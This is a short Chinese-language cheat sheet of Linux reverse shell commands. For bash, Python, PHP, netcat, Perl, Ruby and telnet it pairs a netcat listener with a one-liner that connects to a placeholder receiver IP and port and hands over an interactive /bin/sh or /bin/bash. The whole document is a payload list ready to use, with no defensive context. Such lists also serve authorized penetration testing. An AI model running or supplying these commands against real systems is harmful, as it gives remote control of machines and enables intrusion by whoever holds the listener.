Linux下反弹shell命令
接收端口和发送端端口要一致
bash反弹shell
接收端:
nc -lvp 端口
发送端:
bash -i >& /dev/tcp/接收端IP/接收端端口 0>&1
python反弹shell
接收端:
nc -lvp 端口
发送端:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反弹shell
接收端:
nc -lvp 端口
发送端:
php -r '$sock=fsockopen("接收端ip",端口);exec("/bin/bash -i <&3 >&3 2>&3");'
nc反弹shell
接收端:
nc -lvp 端口
发送端
nc -v 接收ip 端口 -e /bin/bash
perl反弹shell
接收端:
nc -lvp 端口
发送端
perl -e 'use Socket;$i="接收端ip";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
ruby反弹shell
接收端:
nc -lvp 端口
发送端
ruby -rsocket -e'f=TCPSocket.open("接收端ip",端口).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
telnet反弹shell
接收端:
nc -lvp 端口
发送端
mknod a p; telnet 接收端IP 端口 0<a | /bin/bash 1>a